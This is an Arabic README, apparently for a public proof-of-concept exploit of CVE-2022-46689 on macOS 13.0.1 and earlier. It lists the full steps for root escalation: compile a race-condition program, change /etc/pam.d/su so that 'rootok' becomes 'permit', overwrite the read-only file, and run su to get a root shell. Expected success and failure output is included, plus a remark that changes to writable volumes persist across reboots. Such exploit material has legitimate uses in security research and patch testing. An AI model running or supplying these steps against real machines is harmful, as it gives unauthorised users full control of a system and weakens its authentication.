
احصل على صلاحيات root على macOS 13.0.1 عبر CVE-2022-46689 (المكافئ على macOS لثغرة Dirty Cow)، باستخدام حالة الاختبار المستخرجة من شيفرة XNU المصدرية لشركة أبل.
احصل على صلاحيات الجذر على macOS 13.0.1 باستخدام CVE-2022-46689 (المكافئ في macOS لثغرة Dirty Cow)، باستخدام حالة الاختبار المستخرجة من مصدر XNU الخاص بـ Apple.
https://worthdoingbadly.com/macdirtycow/
على جهاز يعمل بنظام macOS 13.0.1 / 12.6.1 (أو أقل)، قم بتشغيل:
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
يجب أن تحصل على:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
تم اختباره على macOS 13 beta (22A5266r) مع إيقاف SIP (يجب أن يعمل أيضًا مع تشغيل SIP).
إذا كان نظامك محدثًا بالكامل (macOS 13.1 / 12.6.2)، فيجب أن تظهر الرسالة التالية بدلاً من ذلك:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
وتشغيل su يجب أن يظل يطلب كلمة المرور.
بفضل ميزة Sealed System Volume، فإن تشغيل هذا على أي ملف في وحدة التخزين /System يعدّل الملف مؤقتًا فقط: يتم التراجع عنه عند إعادة التشغيل. أما تشغيله على ملف في وحدة تخزين قابلة للكتابة فسيحافظ على التعديل بعد إعادة التشغيل.
/etc/pam.d.